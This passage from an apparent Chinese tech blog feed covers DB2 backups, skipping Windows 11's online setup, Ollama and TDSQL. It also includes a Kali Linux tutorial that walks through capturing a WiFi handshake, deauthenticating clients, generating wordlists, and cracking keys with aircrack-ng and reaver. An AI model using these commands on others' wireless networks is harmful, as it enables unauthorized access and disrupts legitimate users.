id="压缩备份-Compressed-Backup"><a href="#压缩备份-Compressed-Backup" class="headerlink" title="压缩备份 (Compressed Backup)"></a>压缩备份 (Compressed Backup)</h3><p>定义：对备份文件进行压缩以减少存储需求。<br>优点：减少备份存储空间需求，特别是对于大型数据库。<br>缺点：压缩过程会消耗一定的 CPU 资源。</p><h3 id="镜像备份-Mirrored-Backup"><a href="#镜像备份-Mirrored-Backup" class="headerlink" title="镜像备份 (Mirrored Backup)"></a>镜像备份 (Mirrored Backup)</h3><p>定义：在备份时，将备份数据复制到多个存储位置。<br>优点：提高数据冗余，防止单点故障。<br>缺点：需要额外的存储和资源。</p><h3 id="在线备份-Online-Backup"><a href="#在线备份-Online-Backup" class="headerlink" title="在线备份 (Online Backup)"></a>在线备份 (Online Backup)</h3><p>定义：在数据库运行时进行备份，无需关闭数据库。<br>优点：业务连续性高，特别适合 24/7 运行的数据库。<br>缺点：备份期间数据库性能可能会下降。</p><h2 id="备份方案"><a href="#备份方案" class="headerlink" title="备份方案"></a>备份方案</h2><p>DB2 备份方案的选择和实施取决于数据库大小、可用资源、数据恢复时间要求以及业务连续性计划。</p><h3 id="备份数据"><a href="#备份数据" class="headerlink" title="备份数据"></a>备份数据</h3><h4 id="全备份-Full-Backup"><a href="#全备份-Full-Backup" class="headerlink" title="全备份 (Full Backup)"></a>全备份 (Full Backup)</h4><p>频率：每周一次。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db2 BACKUP DATABASE yourdb TO /backup/path WITH 2 BUFFERS BUFFER 1024 PARALLELISM 1 WITHOUT PROMPTING</span><br></pre></td></tr></table></figure></p><h4 id="增量备份-Incremental-Backup-1"><a href="#增量备份-Incremental-Backup-1" class="headerlink" title="增量备份 (Incremental Backup)"></a>增量备份 (Incremental Backup)</h4><p>频率：每天一次（全备份之外的其他时间）。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db2 BACKUP DATABASE yourdb INCREMENTAL TO /backup/path WITHOUT PROMPTING</span><br></pre></td></tr></table></figure></p><h4 id="日志备份-Log-Backup-1"><a href="#日志备份-Log-Backup-1" class="headerlink" title="日志备份 (Log Backup)"></a>日志备份 (Log Backup)</h4><p>频率：每小时一次。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db2 BACKUP DATABASE yourdb ONLINE USE LOGS TO /backup/path WITHOUT PROMPTING</span><br></pre></td></tr></table></figure></p><h4 id="压缩备份-Compressed-Backup-1"><a href="#压缩备份-Compressed-Backup-1" class="headerlink" title="压缩备份 (Compressed Backup)"></a>压缩备份 (Compressed Backup)</h4><p>频率：适用于所有类型的备份（全备份、增量备份、日志备份），按需<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db2 BACKUP DATABASE yourdb TO /backup/path COMPRESS YES WITHOUT PROMPTING</span><br></pre></td></tr></table></figure></p><h4 id="备份存储与管理"><a href="#备份存储与管理" class="headerlink" title="备份存储与管理"></a>备份存储与管理</h4><p>多副本备份：将备份文件存储在多个位置，包括本地和远程存储，以防止单点故障。<br>备份文件检查：定期使用 db2ckbkp 命令检查备份文件的完整性。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db2ckbkp -h /backup/path/yourdb.0.db2inst1.NODE0000.CATN0000.20240814.221402.001</span><br></pre></td></tr></table></figure><br>异地备份：将备份文件复制到异地存储，确保在物理灾难情况下的数据安全。</p><h3 id="恢复备份"><a href="#恢复备份" class="headerlink" title="恢复备份"></a>恢复备份</h3><h4 id="数据库崩溃恢复-Crash-Recovery"><a href="#数据库崩溃恢复-Crash-Recovery" class="headerlink" title="数据库崩溃恢复 (Crash Recovery)"></a>数据库崩溃恢复 (Crash Recovery)</h4><p>适用场景：数据库突然崩溃，需要从最近的日志备份中恢复。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##恢复最近的全备份</span></span><br><span class="line">db2 RESTORE DATABASE yourdb FROM /backup/path TAKEN AT timestamp WITHOUT ROLLING FORWARD</span><br><span class="line"><span class="comment">##应用增量备份（如有）</span></span><br><span class="line">db2 RESTORE DATABASE yourdb INCREMENTAL FROM /backup/path TAKEN AT timestamp</span><br><span class="line"><span class="comment">##应用日志备份</span></span><br><span class="line">db2 ROLLFORWARD DATABASE yourdb TO END OF LOGS AND COMPLETE</span><br></pre></td></tr></table></figure></p><h4 id="时间点恢复-Point-in-Time-Recovery"><a href="#时间点恢复-Point-in-Time-Recovery" class="headerlink" title="时间点恢复 (Point-in-Time Recovery)"></a>时间点恢复 (Point-in-Time Recovery)</h4><p>适用场景：需要将数据库恢复到某一特定时间点。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">恢复最近的全备份</span><br><span class="line">db2 RESTORE DATABASE yourdb FROM /backup/path TAKEN AT timestamp WITHOUT ROLLING FORWARD</span><br><span class="line">应用增量备份（如有）</span><br><span class="line">db2 RESTORE DATABASE yourdb INCREMENTAL FROM /backup/path TAKEN AT timestamp</span><br><span class="line">应用日志备份，指定时间点</span><br><span class="line">db2 ROLLFORWARD DATABASE yourdb TO timestamp USING LOCAL TIME AND STOP</span><br></pre></td></tr></table></figure></p><h4 id="表空间恢复-Tablespace-Recovery"><a href="#表空间恢复-Tablespace-Recovery" class="headerlink" title="表空间恢复 (Tablespace Recovery)"></a>表空间恢复 (Tablespace Recovery)</h4><p>适用场景：特定表空间损坏或数据丢失。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##将表空间置为恢复模式</span></span><br><span class="line">db2 RESTORE TABLESPACE tablespace_name ONLINE</span><br><span class="line">db2 RESTORE DATABASE yourdb TABLESPACE (tablespace_name) FROM /backup/path TAKEN AT timestamp</span><br><span class="line"><span class="comment">##应用日志备份</span></span><br><span class="line">db2 ROLLFORWARD DATABASE yourdb TO END OF LOGS AND COMPLETE TABLESPACE (tablespace_name)</span><br></pre></td></tr></table></figure></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;在测试使用脚本清理数据库日志的时候，不小心误删了正在使用的活动日志，以至于再</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="运维" scheme="https://yuwei.cc/tags/%E8%BF%90%E7%BB%B4/"/>
    
    <category term="DB2" scheme="https://yuwei.cc/tags/DB2/"/>
    
  </entry>
  
  <entry>
    <title>跳过联网安装 Windows 11 系统</title>
    <link href="https://yuwei.cc/posts/f7f11e51.html"/>
    <id>https://yuwei.cc/posts/f7f11e51.html</id>
    <published>2024-08-11T03:23:08.000Z</published>
    <updated>2024-08-11T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>好久没有装系统了，周末帮表弟装了个 WIndows 11，然后临时去搜了跳过联网的方法，现在记录下来：</p><h2 id="跳过联网"><a href="#跳过联网" class="headerlink" title="跳过联网"></a>跳过联网</h2><p>当安装 Windows 11 时，如果想跳过联网步骤可以尝试以下方法：</p><h3 id="任务管理器结束进程"><a href="#任务管理器结束进程" class="headerlink" title="任务管理器结束进程"></a>任务管理器结束进程</h3><p>1、按 Shift + F10 打开命令提示符窗口<br>2、输入 <code>taskmgr</code> 打开任务管理器<br>3、结束 <strong>OOBE Network Connection Flow</strong> 进程，或者直接使用命令<code>taskkill /F /IM oobenetworkconnectionflow.exe</code>结束该进程</p><h3 id="CMD-命令跳过联网"><a href="#CMD-命令跳过联网" class="headerlink" title="CMD 命令跳过联网"></a>CMD 命令跳过联网</h3><p>1、按 Shift + F10 打开命令提示符窗口<br>2、输入命令 <code>oobe\BypassNRO.cmd</code><br>3、电脑将自动重启，联网界面会出现<mark>我没有 Internet 连接</mark>的选项，并继续执行受限设置，从而跳过联网激活环节</p><h3 id="修改注册表设置"><a href="#修改注册表设置" class="headerlink" title="修改注册表设置"></a>修改注册表设置</h3><p>1、按Shift + F10 打开命令提示符窗口<br>2、输入 <code>regedit</code> 打开注册表编辑器，通过导航进入到 <strong>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE</strong><br>3、新建 <strong>DWORD</strong> 值：<code>BypassNRO</code>，设置为 <code>1</code><br>4、命令提示符窗口输入 <code>logoff</code>，重启即可跳过联网步骤</p><h2 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h2><p>1、需要提前断开网络连接<br>2、以上方法不一定全部可行，可尝试不同组合<br>3、修改注册表相对有效<br>4、微软已经封堵了漏洞，<strong>请使用旧版（22H2 及以前） ISO 文件</strong></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;好久没有装系统了，周末帮表弟装了个 WIndows 11，然后临时去搜了跳过</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="Windows" scheme="https://yuwei.cc/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>使用 Kali Linux 尝试破解 WiFi 密码</title>
    <link href="https://yuwei.cc/posts/e13ebe4c.html"/>
    <id>https://yuwei.cc/posts/e13ebe4c.html</id>
    <published>2024-07-26T11:13:19.000Z</published>
    <updated>2024-07-26T11:13:19.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><blockquote><p>Kali Linux 是基于 Debian 的 Linux 发行版，它预装了许多渗透测试软件，包括 nmap、Wireshark、Aircrack-ng…</p></blockquote><p>开始之前需要准备一个 Kali Linux 系统</p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Installing, this may take a few minutes...</span><br><span class="line">WslRegisterDistribution failed with error: 0x80004005</span><br><span class="line">Error: 0x80004005 ??????</span><br><span class="line"></span><br><span class="line">Press any key to <span class="built_in">continue</span>...</span><br></pre></td></tr></table></figure><p>Windows Subsystem for Linux<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">wsl --set-default-version 2</span><br><span class="line"><span class="comment">#更新公钥</span></span><br><span class="line">dpkg -i kali-archive-keyring_2022.1_all.deb</span><br><span class="line"><span class="comment">#替换国内源</span></span><br><span class="line">here is tuna <span class="keyword">for</span> tsinghua mirros</span><br><span class="line">deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free</span><br><span class="line"><span class="comment">#更新软件</span></span><br><span class="line">apt-get update -y apt-get upgrade -y</span><br><span class="line"><span class="comment">#安装完整的 Kali</span></span><br><span class="line">sudo apt install -y kali-linux-large</span><br><span class="line"><span class="comment">#更新</span></span><br><span class="line">sudo apt update</span><br><span class="line">sudo apt upgrade</span><br><span class="line"><span class="comment">#安装可视化界面</span></span><br><span class="line">sudo apt install kali-win-kex</span><br><span class="line"><span class="comment">#启动图形界面</span></span><br><span class="line">kex</span><br><span class="line"><span class="comment">#运行中F8按钮。可以变换为窗口模式或者退出。实质为一种远程桌面软件，运行稳定可靠</span></span><br><span class="line">sudo dpkg-reconfigure locales</span><br><span class="line"><span class="comment">#选择找到 en_US.UTF-8 / zh_CN.GBK / zh_CN.UTF-8 空格选中，按回车进入下一步</span></span><br><span class="line"><span class="comment">#在 cmd 终端中关闭 linux 命令（linux 系统启动后，关闭需要在终端进行）</span></span><br><span class="line">wsl --shutdown</span><br><span class="line"><span class="comment">#设置 WSL 默认为 Kali-Linux</span></span><br><span class="line">wsl --set-version kali-linux 2</span><br><span class="line"><span class="comment">#设置默认登录用户为 root</span></span><br><span class="line">here is kali.exe FilePath：C:\Program Files\WindowsApps\KaliLinux.....</span><br><span class="line">we can use Everything search <span class="keyword">for</span>：kali.exe to find it.</span><br><span class="line">kali.exe config --default-user root</span><br><span class="line"><span class="comment">#报错参考</span></span><br><span class="line">apt -y install libcrypt1</span><br><span class="line">apt -y —fix-broken install</span><br><span class="line"><span class="built_in">cd</span> /tmp </span><br><span class="line">apt -y download libcrypt1 </span><br><span class="line">dpkg-deb -x libcrypt1_1%3a4.4.27-1.1_amd64.deb . </span><br><span class="line"><span class="built_in">cp</span> -av lib/x86_64-linux-gnu/* /lib/x86_64-linux-gnu/</span><br><span class="line">apt -y --fix-broken instal</span><br></pre></td></tr></table></figure></p><h2 id="扫描"><a href="#扫描" class="headerlink" title="扫描"></a>扫描</h2><p>本文是用 Ventoy 直接从 U 盘启动 Live 镜像，默认账户密码为：kali/kali，进入系统以后打开终端进行如下操作：</p><h3 id="开启设备监听"><a href="#开启设备监听" class="headerlink" title="开启设备监听"></a>开启设备监听</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo airmon-ng start wlan0</span><br></pre></td></tr></table></figure><h3 id="扫描附近-WiFi"><a href="#扫描附近-WiFi" class="headerlink" title="扫描附近 WiFi"></a>扫描附近 WiFi</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo airodump-ng wlan0mon</span><br></pre></td></tr></table></figure><h3 id="抓包指定-WiFi"><a href="#抓包指定-WiFi" class="headerlink" title="抓包指定 WiFi"></a>抓包指定 WiFi</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo airodump-ng --bssid &lt;BSSID&gt; --channel &lt;频道&gt; --write &lt;包名&gt; wlan0mon</span><br></pre></td></tr></table></figure><h3 id="断开客户端"><a href="#断开客户端" class="headerlink" title="断开客户端"></a>断开客户端</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo aireplay-ng --deauth 10 -a &lt;BSSID&gt; -c &lt;客户端 MAC&gt; wlan0mon</span><br></pre></td></tr></table></figure><h3 id="生成密码字典"><a href="#生成密码字典" class="headerlink" title="生成密码字典"></a>生成密码字典</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#生成 8 位密码，包含大小写、数字，生成的文件很大</span></span><br><span class="line">sudo crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -o password.txt</span><br><span class="line"><span class="comment">#生成 8 位密码</span></span><br><span class="line">sudo crunch 8 8 -t @@,,%%^^ -o password.txt</span><br></pre></td></tr></table></figure><h3 id="密码猜解"><a href="#密码猜解" class="headerlink" title="密码猜解"></a>密码猜解</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo aircrack-ng -w &lt;密码字典文件&gt; -b &lt;BSSID&gt; &lt;包名-xx.cap&gt;</span><br><span class="line"><span class="comment">#自带字典目录：/usr/share/wordlists/</span></span><br><span class="line"><span class="comment">#如：/usr/share/wordlists/wifite.txt</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo reaver -i wlan0mon -b 00:5C:C2:22:27:CF -vv</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;blockquote&gt;
&lt;p&gt;Kali Linux 是基于 Debian 的 L</summary>
      
    
    
    
    <category term="器物与我" scheme="https://yuwei.cc/categories/%E5%99%A8%E7%89%A9%E4%B8%8E%E6%88%91/"/>
    
    
    <category term="Linux" scheme="https://yuwei.cc/tags/Linux/"/>
    
    <category term="Kali" scheme="https://yuwei.cc/tags/Kali/"/>
    
  </entry>
  
  <entry>
    <title>本地大语言模型食用指北：Ollama</title>
    <link href="https://yuwei.cc/posts/5d8739a3.html"/>
    <id>https://yuwei.cc/posts/5d8739a3.html</id>
    <published>2024-07-15T05:13:19.000Z</published>
    <updated>2024-02-18T04:13:19.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p><strong>2024.10.28</strong>：无意发现一款可以配置 AI 的 UWP 应用：<a href="https://www.microsoft.com/store/productId/9NB0NB3MLQTM">小幻助理</a><br>由 AI 和 .NET 驱动的智能桌面应用，具体的可以访问<a href="https://agent.richasy.net">官网</a>，支持配置的服务很多，有：<strong>Open AI</strong>、<strong>Azure Open AI</strong>、<strong>Gemini</strong>、<strong>Anthropic</strong>、<strong>月之暗面</strong>、<strong>智谱 AI</strong>、<strong>零一万物</strong>、<strong>DeepSeek</strong>、<strong>通义千问</strong>、<strong>文心一言</strong>、<strong>腾讯混元</strong>、<strong>讯飞星火</strong>、<strong>字节豆包</strong>、<strong>Silicon Flow</strong>、<strong>OpenRouter</strong>、<strong>Together AI</strong>、<strong>Groq</strong>、<strong>Perplexity</strong>、<strong>Mistral AI</strong>、<strong>Ollama</strong>。<br>配置 Ollama 见《<a href="https://agent.richasy.net/chat-config#ollama">对话服务配置</a>》<br><img src="https://f.pz.al/pzal/2024/10/28/e2624bc0c1c58.png" alt=""><br>本指南介绍了如何在 Windows 11 上安装 Ollama，修改其安装路径和模型路径，以及列举常用命令参数和 GUI 部署的步骤。</p><h2 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h2><p>访问 <a href="https://ollama.com/">Ollama 官方网站</a>，点击并下载适用于 Windows 的 Ollama 安装程序<br><img src="https://f.pz.al/pzal/2024/08/22/0eae7cf9b7568.png" alt=""><br>双击下载的安装程序按向导提示进行安装完成以后，启动即可</p><h2 id="存储路径"><a href="#存储路径" class="headerlink" title="存储路径"></a>存储路径</h2><p>但是安装程序暂时无法自定义安装路径，安装完成以后也没有更改模块路径的设置界面<br>程序路径：<code>%UserProfile%\AppData\Local\Programs\Ollama</code><br>配置日志：<code>%UserProfile%\AppData\Local\Ollama</code><br>模块路径：<code>%UserProfile%\.ollama\models</code><br>这就会使 C 盘容量会越来越大，好在可以通过环境变量进行更改</p><h2 id="环境变量"><a href="#环境变量" class="headerlink" title="环境变量"></a>环境变量</h2><h3 id="变量列表"><a href="#变量列表" class="headerlink" title="变量列表"></a>变量列表</h3><div class="table-container"><table><thead><tr><th>变量名称</th><th>说明</th><th style="text-align:center">默认值</th></tr></thead><tbody><tr><td>OLLAMA_DEBUG</td><td>是否开启调试模式</td><td style="text-align:center">false</td></tr><tr><td>OLLAMA_FLASH_ATTENTION</td><td>是否闪烁注意力</td><td style="text-align:center">true</td></tr><tr><td>OLLAMA_HOST</td><td>服务器的主机地址</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_KEEP_ALIVE</td><td>保持连接的时间</td><td style="text-align:center">5m</td></tr><tr><td>OLLAMA_LLM_LIBRARY</td><td>LLM库</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_MAX_LOADED_MODELS</td><td>最大加载模型数</td><td style="text-align:center">1</td></tr><tr><td>OLLAMA_MAX_QUEUE</td><td>最大队列数</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_MAX_VRAM</td><td>最大虚拟内存</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_MODELS</td><td>模型目录</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_NOHISTORY</td><td>是否保存历史记录</td><td style="text-align:center">false</td></tr><tr><td>OLLAMA_NOPRUNE</td><td>是否启用剪枝</td><td style="text-align:center">false</td></tr><tr><td>OLLAMA_NUM_PARALLEL</td><td>并行数</td><td style="text-align:center">1</td></tr><tr><td>OLLAMA_ORIGINS</td><td>允许的来源</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_RUNNERS_DIR</td><td>运行器目录</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_SCHED_SPREAD</td><td>调度分布</td><td style="text-align:center">空</td></tr><tr><td>OLLAMA_TMPDIR</td><td>临时文件目录</td><td style="text-align:center">空</td></tr></tbody></table></div><h3 id="更改目录"><a href="#更改目录" class="headerlink" title="更改目录"></a>更改目录</h3><p>为了避免 C 盘越来越大，需要更改<strong>模型目录</strong>；Win+X 然后选中终端管理员<br><img src="https://f.pz.al/pzal/2024/08/22/83d0ce27598c4.png" alt=""><br>以管理员权限打开终端，运行以下命令<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##更改模型目录</span></span><br><span class="line">setx /M OLLAMA_MODELS <span class="string">&quot;D:\Ollama\models&quot;</span></span><br></pre></td></tr></table></figure><br>在此之前如果已经下载了模型需要将原路径中已经存在的相应文件拷贝到新的目录下<br>如果没有更新 Ollama 的需求还可以修改程序路径，不过需要手动修改 <code>Path</code> 变量中 Ollama 的程序路径</p><p><img src="https://f.pz.al/pzal/2024/08/22/5394f974bb070.png" alt=""></p><h2 id="命令参数"><a href="#命令参数" class="headerlink" title="命令参数"></a>命令参数</h2><p>以下是 Ollama 常用的命令参数：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">Usage:</span><br><span class="line">  ollama [flags]</span><br><span class="line">  ollama [<span class="built_in">command</span>]</span><br><span class="line"></span><br><span class="line">Available Commands:</span><br><span class="line">  serve       Start ollama</span><br><span class="line">  create      Create a model from a Modelfile</span><br><span class="line">  show        Show information <span class="keyword">for</span> a model</span><br><span class="line">  run         Run a model</span><br><span class="line">  pull        Pull a model from a registry</span><br><span class="line">  push        Push a model to a registry</span><br><span class="line">  list        List models</span><br><span class="line">  ps          List running models</span><br><span class="line">  <span class="built_in">cp</span>          Copy a model</span><br><span class="line">  <span class="built_in">rm</span>          Remove a model</span><br><span class="line">  <span class="built_in">help</span>        Help about any <span class="built_in">command</span></span><br><span class="line"></span><br><span class="line">Flags:</span><br><span class="line">  -h, --<span class="built_in">help</span>      <span class="built_in">help</span> <span class="keyword">for</span> ollama</span><br><span class="line">  -v, --version   Show version information</span><br><span class="line"></span><br><span class="line">Use <span class="string">&quot;ollama [command] --help&quot;</span> <span class="keyword">for</span> more information about a <span class="built_in">command</span>.</span><br></pre></td></tr></table></figure></p><h3 id="验证安装"><a href="#验证安装" class="headerlink" title="验证安装"></a>验证安装</h3><p>安装完成以后，任意位置右键 -&gt; 在终端中打开 -&gt; 打开 Windows 终端使用命令提示符 (CMD) 或 PowerShell，输入以下命令以验证 Ollama 是否正确安装：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ollama</span><br></pre></td></tr></table></figure><br>如果安装正确，会显示 Ollama 的版本信息</p><h3 id="其他命令"><a href="#其他命令" class="headerlink" title="其他命令"></a>其他命令</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##查看本地模型列表</span></span><br><span class="line">ollama list</span><br><span class="line"><span class="comment">##运行指定模型，没有模型会直接下载，https://ollama.com/library</span></span><br><span class="line">ollama run &lt;model&gt;</span><br><span class="line"><span class="comment">##删除模型</span></span><br><span class="line">ollama <span class="built_in">rm</span> &lt;model&gt;</span><br></pre></td></tr></table></figure><p><img src="https://f.pz.al/pzal/2024/08/22/b79afd4ab8621.png" alt=""></p><h2 id="客户端"><a href="#客户端" class="headerlink" title="客户端"></a>客户端</h2><h3 id="Page-Assist"><a href="#Page-Assist" class="headerlink" title="Page Assist"></a><a href="https://chromewebstore.google.com/detail/page-assist-%E6%9C%AC%E5%9C%B0-ai-%E6%A8%A1%E5%9E%8B%E7%9A%84-web/jfgfiigpkhlkbnfnbobbkinehhfdhndo">Page Assist</a></h3><p>浏览器扩展，本地 AI 模型的 Web UI。</p><h3 id="小幻助理"><a href="#小幻助理" class="headerlink" title="小幻助理"></a>小幻助理</h3><p>UWP 应用，支持多家 AI 以及本地大模型。</p><h3 id="Cherry-Studio"><a href="#Cherry-Studio" class="headerlink" title="Cherry Studio"></a><a href="https://www.cherry-ai.com/">Cherry Studio</a></h3><p>支持多平台的AI客户端。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;&lt;strong&gt;2024.10.28&lt;/strong&gt;：无意发现一款可以配置</summary>
      
    
    
    
    <category term="器物与我" scheme="https://yuwei.cc/categories/%E5%99%A8%E7%89%A9%E4%B8%8E%E6%88%91/"/>
    
    
    <category term="Windows" scheme="https://yuwei.cc/tags/Windows/"/>
    
    <category term="AI" scheme="https://yuwei.cc/tags/AI/"/>
    
  </entry>
  
  <entry>
    <title>TDSQL 的最佳实践</title>
    <link href="https://yuwei.cc/posts/c41add7d.html"/>
    <id>https://yuwei.cc/posts/c41add7d.html</id>
    <published>2024-06-13T16:34:34.000Z</published>
    <updated>2024-06-14T01:15:26.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>分布式数据有一些最佳实践，下面举出三个（以 MySQL 引擎为例）</p><h2 id="数据导入"><a href="#数据导入" class="headerlink" title="数据导入"></a>数据导入</h2><p>这分成两种情况。第一种情况是将现有的单机实例，导入到新建的分布式实例。操作步骤如下（详细命令见<a href="https://cloud.tencent.com/document/product/557/7717">文档</a>）。</p><ul><li>导出单机数据库的表结构和数据，拿到两个 SQL 文件。</li><li>打开数据库的表结构文件，设置每个表的主键（primary key），以及分片依据的 shardkey。</li><li>将修改后的两个 SQL 文件，上传到云服务器，导入到分布式数据库。</li></ul><p>第二种情况是将现有的一个分布式实例，导入到另一个分布式实例。操作步骤与上面一样，只是少了第二步，不需要指定主键和 shardkey，因为原来就有了。（详细命令见<a href="https://cloud.tencent.com/document/product/557/8637">文档</a>）。</p><h2 id="数据分片"><a href="#数据分片" class="headerlink" title="数据分片"></a>数据分片</h2><p>分片（sharding）是分布式数据库的核心问题之一：到底要架设多少个数据分区？数据在多个分区如何分布？<br>分片数量取决于，整个数据库预估的最大并发，以及每个分片能够处理的请求数量，可以用公式计算：<code>读写并发性能 = ∑（分片性能 * 分片数量）</code>。<br>单个分片的性能，主要与实例的 CPU / 内存数量相关。单个分片规格越高、分片数量越多，数据库系统的处理能力越强。<br>除了性能，分片还要考虑容量问题。一般来说，单个分片至少存储 5000 万行数据。</p><h2 id="硬件配置"><a href="#硬件配置" class="headerlink" title="硬件配置"></a>硬件配置</h2><p>分布式数据库的硬件，下面给出三个推荐的配置：</p><ul><li><mark>测试功能</mark>：不要求性能，只用来验证系统，建议配置 <strong>2 个节点，每个节点 2GB 内存 + 25GB 硬盘</strong>。</li><li><mark>发展初期</mark>：数据规模较小，增长快，建议配置 <strong>2 